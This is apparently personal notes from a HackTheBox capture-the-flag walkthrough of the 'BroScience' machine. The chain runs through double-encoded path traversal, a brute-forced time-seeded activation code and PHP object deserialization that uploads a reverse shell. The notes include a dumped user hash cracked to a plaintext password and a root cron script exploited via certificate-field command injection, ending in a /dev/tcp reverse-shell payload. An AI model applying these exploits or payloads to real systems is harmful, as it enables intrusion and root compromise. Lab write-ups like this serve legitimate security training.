- basic enumeration - check all files, check params, check two times, that is double ;)
- grab em all
- sweep for common vulns on features
db
?
- (0) process
- after performing dirsearch on the machine, able to find
/includes/
with some interesting files
- image fetching:
https://broscience.htb/includes/img.php?path=../../../../../etc/passwd
- got back Error: attack detected
- single encoding failed, double encoding worked, got back 188B of passwd file
/includes
|-db_connect.php
|-header.php
|-img.php
|-navbar.php
|-utils.php
index.php
register.php
login.php
logout.php
exercise.php
user.php
- tried to register got no email back
- checking the code we found
/includes/utils.php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
/register.php
$activation_code = generate_activation_code();
...
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
tried with a couple of timestamps manually but couldn't hit the activation code by feeding that time as seed srand()
activation.py
automated that process
- after many tries it finally got validated
get_theme()
unserializesuser-prefs
cookie.UserPrefs
class is not too interesting. Nothing usefulAvatar
andAvatarInterface
has more to offer
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
get_theme()
gets called everywhere. e.g.user.php
file_get_contents
probably is able to read from endpoint- built a server -->
upload_server.py
$ python3 upload_server.py &
$ python3 unsafe_unserialize.py /var/www/html/reverse_shell.php revshell
10.10.11.195 - - [22/Jan/2023 00:56:53] "GET /revshell HTTP/1.0" 200 -
10.10.11.195 - - [22/Jan/2023 00:56:53] "GET /revshell HTTP/1.0" 200 -
10.10.11.195 - - [22/Jan/2023 00:56:54] "GET /revshell HTTP/1.0" 200 -
- check if file got uploaded
- open netcat
$ nc -lvnp 4444 # https://broscience.htb/reverse_shell.php
Listening on 0.0.0.0 4444
Connection received on 10.10.11.195 39598
we are in
- we got credentials for the database
$ psql -h localhost -p 5432 -U dbuser -d broscience -c "\copy (SELECT * FROM users) TO '/var/www/html/users.csv' WITH CSV HEADER"
hash
for bill = 13edad4932da9dbb57d9cd15b66ed104- tried with bruteforcing with single world
php ./php/bruteforce.php 13edad4932da9dbb57d9cd15b66ed104
, no luck hashcat
-->iluvhorsesandgym
success
- with the help of
upload_server
andpspy
, was able to grab information on cron executed every now and then - renew_cert.sh
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
fi
- this baby is running as root
- if we are able to change
$commonName
we can get a reverse shell or `chmod +s /usr/bin/bash - by creating a new file, via the payload open ssl script --> /cert/payload_cert.sh
#!/bin/bash
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout ./broscience.key -out ./broscience.crt -days 1 <<<"AU
Victoria
Melbourne
Broscience
Broscience
$1
Broscience
" 2>/dev/null
$ /cert/payload_cert.sh '$(sh -i >& /dev/tcp/10.10.14.172/4445 0>&1)
success